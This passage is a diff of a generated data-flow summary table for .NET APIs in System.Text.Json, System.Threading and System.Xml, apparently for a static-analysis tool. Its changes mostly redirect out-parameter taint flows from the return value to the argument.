System.Text.Json.Serialization.Metadata;JsonTypeInfoResolver;Combine;(System.Text.Json.Serialization.Metadata.IJsonTypeInfoResolver[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Text.Json.Serialization.Metadata;JsonTypeInfoResolver;WithAddedModifier;(System.Text.Json.Serialization.Metadata.IJsonTypeInfoResolver,System.Action);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Text.Json.Serialization;JsonConverter;ReadAsPropertyName;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);Argument[0].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;ReturnValue;taint;dfc-generated | -| System.Text.Json.Serialization;JsonConverter;ReadAsPropertyName;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json.Serialization;JsonConverterFactory;CreateConverter;(System.Type,System.Text.Json.JsonSerializerOptions);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json.Serialization;JsonDerivedTypeAttribute;JsonDerivedTypeAttribute;(System.Type,System.String);Argument[1];Argument[this].Property[System.Text.Json.Serialization.JsonDerivedTypeAttribute.TypeDiscriminator];value;dfc-generated | | System.Text.Json.Serialization;JsonPropertyNameAttribute;JsonPropertyNameAttribute;(System.String);Argument[0];Argument[this].Property[System.Text.Json.Serialization.JsonPropertyNameAttribute.Name];value;dfc-generated | @@ -13772,8 +13646,6 @@ | System.Text.Json.Serialization;JsonStringEnumMemberNameAttribute;JsonStringEnumMemberNameAttribute;(System.String);Argument[0];Argument[this].Property[System.Text.Json.Serialization.JsonStringEnumMemberNameAttribute.Name];value;dfc-generated | | System.Text.Json;JsonDocument;Parse;(System.Buffers.ReadOnlySequence,System.Text.Json.JsonDocumentOptions);Argument[0];ReturnValue;taint;df-generated | | System.Text.Json;JsonDocument;Parse;(System.ReadOnlyMemory,System.Text.Json.JsonDocumentOptions);Argument[0];ReturnValue;taint;df-generated | -| System.Text.Json;JsonDocument;ParseValue;(System.Text.Json.Utf8JsonReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonDocument;TryParseValue;(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonDocument);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json;JsonDocument;get_RootElement;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonElement+ArrayEnumerator;GetEnumerator;();Argument[this];ReturnValue;value;dfc-generated | | System.Text.Json;JsonElement+ArrayEnumerator;get_Current;();Argument[this].Property[System.Text.Json.JsonElement+ArrayEnumerator.Current];ReturnValue;value;df-generated | @@ -13791,11 +13663,9 @@ | System.Text.Json;JsonElement;GetProperty;(System.ReadOnlySpan);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonElement;GetProperty;(System.ReadOnlySpan);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonElement;GetProperty;(System.String);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;ParseValue;(System.Text.Json.Utf8JsonReader);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;TryGetProperty;(System.String,System.Text.Json.JsonElement);Argument[this];ReturnValue;taint;df-generated | -| System.Text.Json;JsonElement;TryParseValue;(System.Text.Json.Utf8JsonReader,System.Nullable);Argument[0];ReturnValue;value;dfc-generated | +| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];Argument[1];taint;df-generated | +| System.Text.Json;JsonElement;TryGetProperty;(System.ReadOnlySpan,System.Text.Json.JsonElement);Argument[this];Argument[1];taint;df-generated | +| System.Text.Json;JsonElement;TryGetProperty;(System.String,System.Text.Json.JsonElement);Argument[this];Argument[1];taint;df-generated | | System.Text.Json;JsonElement;get_Item;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonEncodedText;Encode;(System.ReadOnlySpan,System.Text.Encodings.Web.JavaScriptEncoder);Argument[0];ReturnValue;taint;df-generated | | System.Text.Json;JsonEncodedText;ToString;();Argument[this];ReturnValue;taint;df-generated | @@ -13817,11 +13687,6 @@ | System.Text.Json;JsonProperty;get_Name;();Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonReaderState;JsonReaderState;(System.Text.Json.JsonReaderOptions);Argument[0];Argument[this].SyntheticField[System.Text.Json.JsonReaderState._readerOptions];value;dfc-generated | | System.Text.Json;JsonReaderState;get_Options;();Argument[this].SyntheticField[System.Text.Json.JsonReaderState._readerOptions];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.JsonSerializerOptions);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Type,System.Text.Json.Serialization.JsonSerializerContext);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.JsonSerializerOptions);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.Json;JsonSerializer;Deserialize;(System.Text.Json.Utf8JsonReader,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];ReturnValue;value;dfc-generated | | System.Text.Json;JsonSerializer;Serialize;(System.IO.Stream,System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[1];Argument[2];taint;df-generated | | System.Text.Json;JsonSerializer;Serialize;(System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];Argument[1];taint;df-generated | | System.Text.Json;JsonSerializer;Serialize;(System.Text.Json.Utf8JsonWriter,System.Object,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[0];Argument[2];taint;df-generated | @@ -13845,7 +13710,7 @@ | System.Text.Json;JsonSerializerOptions;GetConverter;(System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonSerializerOptions;GetTypeInfo;(System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Text.Json;JsonSerializerOptions;JsonSerializerOptions;(System.Text.Json.JsonSerializerOptions);Argument[0];Argument[this];taint;df-generated | -| System.Text.Json;JsonSerializerOptions;TryGetTypeInfo;(System.Type,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[this];ReturnValue;taint;df-generated | +| System.Text.Json;JsonSerializerOptions;TryGetTypeInfo;(System.Type,System.Text.Json.Serialization.Metadata.JsonTypeInfo);Argument[this];Argument[1];taint;df-generated | | System.Text.Json;Utf8JsonReader;CopyString;(System.Span);Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;Argument[0].Element;value;dfc-generated | | System.Text.Json;Utf8JsonReader;GetComment;();Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;ReturnValue;taint;dfc-generated | | System.Text.Json;Utf8JsonReader;GetString;();Argument[this].Property[System.Text.Json.Utf8JsonReader.ValueSpan].Element;ReturnValue;taint;dfc-generated | @@ -13863,7 +13728,7 @@ | System.Text.RegularExpressions;GeneratedRegexAttribute;GeneratedRegexAttribute;(System.String,System.Text.RegularExpressions.RegexOptions,System.Int32,System.String);Argument[0];Argument[this].Property[System.Text.RegularExpressions.GeneratedRegexAttribute.Pattern];value;dfc-generated | | System.Text.RegularExpressions;GeneratedRegexAttribute;GeneratedRegexAttribute;(System.String,System.Text.RegularExpressions.RegexOptions,System.Int32,System.String);Argument[3];Argument[this].Property[System.Text.RegularExpressions.GeneratedRegexAttribute.CultureName];value;dfc-generated | | System.Text.RegularExpressions;Group;Synchronized;(System.Text.RegularExpressions.Group);Argument[0];ReturnValue;value;dfc-generated | -| System.Text.RegularExpressions;GroupCollection;TryGetValue;(System.String,System.Text.RegularExpressions.Group);Argument[this].Element;ReturnValue;value;dfc-generated | +| System.Text.RegularExpressions;GroupCollection;TryGetValue;(System.String,System.Text.RegularExpressions.Group);Argument[this].Element;Argument[1];value;dfc-generated | | System.Text.RegularExpressions;GroupCollection;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;GroupCollection;get_Item;(System.String);Argument[this].Element;ReturnValue;value;manual | | System.Text.RegularExpressions;GroupCollection;get_Keys;();Argument[this];ReturnValue;taint;df-generated | @@ -13987,8 +13852,6 @@ | System.Text.Unicode;Utf8+TryWriteInterpolatedStringHandler;TryWriteInterpolatedStringHandler;(System.Int32,System.Int32,System.Span,System.Boolean);Argument[2];Argument[this];taint;df-generated | | System.Text.Unicode;Utf8+TryWriteInterpolatedStringHandler;TryWriteInterpolatedStringHandler;(System.Int32,System.Int32,System.Span,System.IFormatProvider,System.Boolean);Argument[2];Argument[this];taint;df-generated | | System.Text.Unicode;Utf8+TryWriteInterpolatedStringHandler;TryWriteInterpolatedStringHandler;(System.Int32,System.Int32,System.Span,System.IFormatProvider,System.Boolean);Argument[3];Argument[this];taint;df-generated | -| System.Text.Unicode;Utf8;TryWrite;(System.Span,System.IFormatProvider,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32);Argument[2];ReturnValue;value;dfc-generated | -| System.Text.Unicode;Utf8;TryWrite;(System.Span,System.Text.Unicode.Utf8+TryWriteInterpolatedStringHandler,System.Int32);Argument[1];ReturnValue;value;dfc-generated | | System.Text;Decoder;get_FallbackBuffer;();Argument[this];ReturnValue;taint;df-generated | | System.Text;DecoderFallback;CreateFallbackBuffer;();Argument[this];ReturnValue;taint;df-generated | | System.Text;DecoderFallbackException;DecoderFallbackException;(System.String,System.Byte[],System.Int32);Argument[1];Argument[this].SyntheticField[System.Text.DecoderFallbackException._bytesUnknown];value;dfc-generated | @@ -14216,8 +14079,8 @@ | System.Threading.RateLimiting;PartitionedRateLimiter;CreateChained;(System.Threading.RateLimiting.PartitionedRateLimiter[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Threading.RateLimiting;PartitionedRateLimiter;WithTranslatedKey;(System.Func,System.Boolean);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading.RateLimiting;RateLimitLease;GetAllMetadata;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.String,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.Threading.RateLimiting.MetadataName,T);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.String,System.Object);Argument[this];Argument[1];taint;df-generated | +| System.Threading.RateLimiting;RateLimitLease;TryGetMetadata;(System.Threading.RateLimiting.MetadataName,T);Argument[this];Argument[1];taint;df-generated | | System.Threading.RateLimiting;RateLimitLease;get_MetadataNames;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.RateLimiting;RateLimitPartition;Get;(TKey,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Threading.RateLimiting;RateLimitPartition;GetConcurrencyLimiter;(TKey,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -14264,7 +14127,7 @@ | System.Threading.Tasks.Dataflow;BroadcastBlock;LinkTo;(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;BroadcastBlock;LinkTo;(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions);Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;BroadcastBlock;ReserveMessage;(System.Threading.Tasks.Dataflow.DataflowMessageHeader,System.Threading.Tasks.Dataflow.ITargetBlock);Argument[1];Argument[this];taint;df-generated | -| System.Threading.Tasks.Dataflow;BroadcastBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this];ReturnValue;taint;df-generated | +| System.Threading.Tasks.Dataflow;BroadcastBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this];Argument[0].Element;taint;df-generated | | System.Threading.Tasks.Dataflow;BufferBlock;BufferBlock;(System.Threading.Tasks.Dataflow.DataflowBlockOptions);Argument[0];Argument[this];taint;df-generated | | System.Threading.Tasks.Dataflow;BufferBlock;LinkTo;(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;BufferBlock;LinkTo;(System.Threading.Tasks.Dataflow.ITargetBlock,System.Threading.Tasks.Dataflow.DataflowLinkOptions);Argument[this];ReturnValue;taint;df-generated | @@ -14299,7 +14162,7 @@ | System.Threading.Tasks.Dataflow;DataflowBlock;ReceiveAsync;(System.Threading.Tasks.Dataflow.ISourceBlock,System.TimeSpan,System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;DataflowBlock;SendAsync;(System.Threading.Tasks.Dataflow.ITargetBlock,TInput);Argument[1];Argument[0];taint;df-generated | | System.Threading.Tasks.Dataflow;DataflowBlock;SendAsync;(System.Threading.Tasks.Dataflow.ITargetBlock,TInput,System.Threading.CancellationToken);Argument[1];Argument[0];taint;df-generated | -| System.Threading.Tasks.Dataflow;DataflowBlock;TryReceive;(System.Threading.Tasks.Dataflow.IReceivableSourceBlock,TOutput);Argument[0];ReturnValue;taint;df-generated | +| System.Threading.Tasks.Dataflow;DataflowBlock;TryReceive;(System.Threading.Tasks.Dataflow.IReceivableSourceBlock,TOutput);Argument[0];Argument[1];taint;df-generated | | System.Threading.Tasks.Dataflow;IDataflowBlock;get_Completion;();Argument[this];ReturnValue;taint;df-generated | | System.Threading.Tasks.Dataflow;IReceivableSourceBlock;TryReceive;(System.Predicate,TOutput);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading.Tasks.Dataflow;JoinBlock;JoinBlock;(System.Threading.Tasks.Dataflow.GroupingDataflowBlockOptions);Argument[0];Argument[this];taint;df-generated | @@ -14338,7 +14201,7 @@ | System.Threading.Tasks.Dataflow;WriteOnceBlock;OfferMessage;(System.Threading.Tasks.Dataflow.DataflowMessageHeader,T,System.Threading.Tasks.Dataflow.ISourceBlock,System.Boolean);Argument[1];Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value];value;dfc-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;ReleaseReservation;(System.Threading.Tasks.Dataflow.DataflowMessageHeader,System.Threading.Tasks.Dataflow.ITargetBlock);Argument[this];Argument[1];taint;df-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;ToString;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading.Tasks.Dataflow;WriteOnceBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value];ReturnValue.Element;value;dfc-generated | +| System.Threading.Tasks.Dataflow;WriteOnceBlock;TryReceiveAll;(System.Collections.Generic.IList);Argument[this].SyntheticField[System.Threading.Tasks.Dataflow.WriteOnceBlock`1._value];Argument[0].Element;value;dfc-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;WriteOnceBlock;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;WriteOnceBlock;(System.Func,System.Threading.Tasks.Dataflow.DataflowBlockOptions);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Threading.Tasks.Dataflow;WriteOnceBlock;WriteOnceBlock;(System.Func,System.Threading.Tasks.Dataflow.DataflowBlockOptions);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -15135,19 +14998,12 @@ | System.Threading;ExecutionContext;Run;(System.Threading.ExecutionContext,System.Threading.ContextCallback,System.Object);Argument[2];Argument[1].Parameter[0];value;hq-generated | | System.Threading;HostExecutionContextManager;SetHostExecutionContext;(System.Threading.HostExecutionContext);Argument[0];ReturnValue;taint;df-generated | | System.Threading;IOCompletionCallback;BeginInvoke;(System.UInt32,System.UInt32,System.Threading.NativeOverlapped*,System.AsyncCallback,System.Object);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | -| System.Threading;Interlocked;CompareExchange;(System.IntPtr,System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;CompareExchange;(System.UIntPtr,System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;CompareExchange;(T,T,T);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;Exchange;(System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;Exchange;(System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Interlocked;Exchange;(T,T);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object);Argument[2];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[0];ReturnValue;value;hq-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[2];ReturnValue;value;dfc-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[2];ReturnValue;value;hq-generated | +| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;Argument[0];value;dfc-generated | +| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;Argument[0];value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3].ReturnValue;ReturnValue;value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Boolean,System.Object,System.Func);Argument[3];Argument[3].Parameter[delegate-self];value;dfc-generated | @@ -15158,13 +15014,10 @@ | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Func);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[0];ReturnValue;value;hq-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[1];ReturnValue;value;dfc-generated | -| System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[1];ReturnValue;value;hq-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;dfc-generated | | System.Threading;LazyInitializer;EnsureInitialized;(T,System.Object,System.Func);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Threading;Lock;EnterScope;();Argument[this];ReturnValue;taint;df-generated | | System.Threading;ManualResetEventSlim;get_WaitHandle;();Argument[this];ReturnValue;taint;df-generated | -| System.Threading;Mutex;TryOpenExisting;(System.String,System.Threading.Mutex);Argument[1];ReturnValue;value;dfc-generated | | System.Threading;Overlapped;Overlapped;(System.Int32,System.Int32,System.IntPtr,System.IAsyncResult);Argument[2];Argument[this];taint;df-generated | | System.Threading;Overlapped;Overlapped;(System.Int32,System.Int32,System.IntPtr,System.IAsyncResult);Argument[3];Argument[this];taint;df-generated | | System.Threading;Overlapped;Pack;(System.Threading.IOCompletionCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -15177,8 +15030,6 @@ | System.Threading;PeriodicTimer;WaitForNextTickAsync;(System.Threading.CancellationToken);Argument[this];ReturnValue;taint;df-generated | | System.Threading;PreAllocatedOverlapped;PreAllocatedOverlapped;(System.Threading.IOCompletionCallback,System.Object,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;PreAllocatedOverlapped;UnsafeCreate;(System.Threading.IOCompletionCallback,System.Object,System.Object);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Threading;ReaderWriterLock;DowngradeFromWriterLock;(System.Threading.LockCookie);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;ReaderWriterLock;RestoreLock;(System.Threading.LockCookie);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;RegisteredWaitHandle;Unregister;(System.Threading.WaitHandle);Argument[0];Argument[this];taint;df-generated | | System.Threading;SemaphoreSlim;WaitAsync;();Argument[this];ReturnValue;taint;df-generated | | System.Threading;SemaphoreSlim;WaitAsync;(System.Int32);Argument[this];ReturnValue;taint;df-generated | @@ -15202,12 +15053,6 @@ | System.Threading;Thread;Thread;(System.Threading.ParameterizedThreadStart,System.Int32);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;Thread;Thread;(System.Threading.ThreadStart);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;Thread;Thread;(System.Threading.ThreadStart,System.Int32);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Threading;Thread;VolatileRead;(System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileRead;(System.Object);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileRead;(System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileWrite;(System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileWrite;(System.Object,System.Object);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Thread;VolatileWrite;(System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;ThreadExceptionEventArgs;ThreadExceptionEventArgs;(System.Exception);Argument[0];Argument[this].SyntheticField[System.Threading.ThreadExceptionEventArgs.m_exception];value;dfc-generated | | System.Threading;ThreadExceptionEventArgs;get_Exception;();Argument[this].SyntheticField[System.Threading.ThreadExceptionEventArgs.m_exception];ReturnValue;value;dfc-generated | | System.Threading;ThreadExceptionEventHandler;BeginInvoke;(System.Object,System.Threading.ThreadExceptionEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | @@ -15238,9 +15083,6 @@ | System.Threading;Timer;Timer;(System.Threading.TimerCallback,System.Object,System.TimeSpan,System.TimeSpan);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;Timer;Timer;(System.Threading.TimerCallback,System.Object,System.UInt32,System.UInt32);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Threading;TimerCallback;BeginInvoke;(System.Object,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | -| System.Threading;Volatile;Write;(System.IntPtr,System.IntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Volatile;Write;(System.UIntPtr,System.UIntPtr);Argument[0];ReturnValue;value;dfc-generated | -| System.Threading;Volatile;Write;(T,T);Argument[0];ReturnValue;value;dfc-generated | | System.Threading;WaitCallback;BeginInvoke;(System.Object,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Threading;WaitHandleExtensions;GetSafeWaitHandle;(System.Threading.WaitHandle);Argument[0].Property[System.Threading.WaitHandle.SafeWaitHandle];ReturnValue;value;dfc-generated | | System.Threading;WaitHandleExtensions;SetSafeWaitHandle;(System.Threading.WaitHandle,Microsoft.Win32.SafeHandles.SafeWaitHandle);Argument[1];Argument[0];taint;df-generated | @@ -15788,17 +15630,20 @@ | System.Xml.Serialization;XmlSerializationReader;ReadElementQualifiedName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadNullableQualifiedName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadNullableString;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.Serialization;XmlSerializationReader;ReadReference;(System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReference;(System.String);Argument[this];Argument[0];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;(System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;(System.String,System.String);Argument[1];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencedElement;(System.String,System.String);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String);Argument[this];Argument[0];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[this];Argument[3];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.Boolean,System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[this];Argument[2];taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadReferencingElement;(System.String,System.String,System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Serialization;XmlSerializationReader;ReadSerializable;(System.Xml.Serialization.IXmlSerializable);Argument[0];ReturnValue;value;dfc-generated | | System.Xml.Serialization;XmlSerializationReader;ReadSerializable;(System.Xml.Serialization.IXmlSerializable,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | @@ -16077,9 +15922,9 @@ | System.Xml;IXmlBinaryWriterInitializer;SetOutput;(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean);Argument[0];Argument[this];taint;df-generated | | System.Xml;IXmlBinaryWriterInitializer;SetOutput;(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean);Argument[1];Argument[this];taint;df-generated | | System.Xml;IXmlBinaryWriterInitializer;SetOutput;(System.IO.Stream,System.Xml.IXmlDictionary,System.Xml.XmlBinaryWriterSession,System.Boolean);Argument[2];Argument[this];taint;df-generated | -| System.Xml;IXmlDictionary;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;IXmlDictionary;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];ReturnValue;taint;df-generated | -| System.Xml;IXmlDictionary;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];ReturnValue;value;dfc-generated | +| System.Xml;IXmlDictionary;TryLookup;(System.Int32,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;IXmlDictionary;TryLookup;(System.String,System.Xml.XmlDictionaryString);Argument[this];Argument[1];taint;df-generated | +| System.Xml;IXmlDictionary;TryLookup;(System.Xml.XmlDictionaryString,System.Xml.XmlDictionaryString);Argument[0];Argument[1];value;dfc-generated | | System.Xml;IXmlNamespaceResolver;GetNamespacesInScope;(System.Xml.XmlNamespaceScope);Argument[this];ReturnValue;taint;df-generated | | System.Xml;IXmlNamespaceResolver;LookupNamespace;(System.String);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;IXmlNamespaceResolver;LookupPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | @@ -16156,8 +16001,10 @@ | System.Xml;XmlDictionaryReader;CreateTextReader;(System.Byte[],System.Int32,System.Int32,System.Text.Encoding,System.Xml.XmlDictionaryReaderQuotas,System.Xml.OnXmlDictionaryReaderClose);Argument[5];Argument[5].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlDictionaryReader;CreateTextReader;(System.IO.Stream,System.Text.Encoding,System.Xml.XmlDictionaryReaderQuotas,System.Xml.OnXmlDictionaryReaderClose);Argument[3];Argument[3].Parameter[delegate-self];value;hq-generated | | 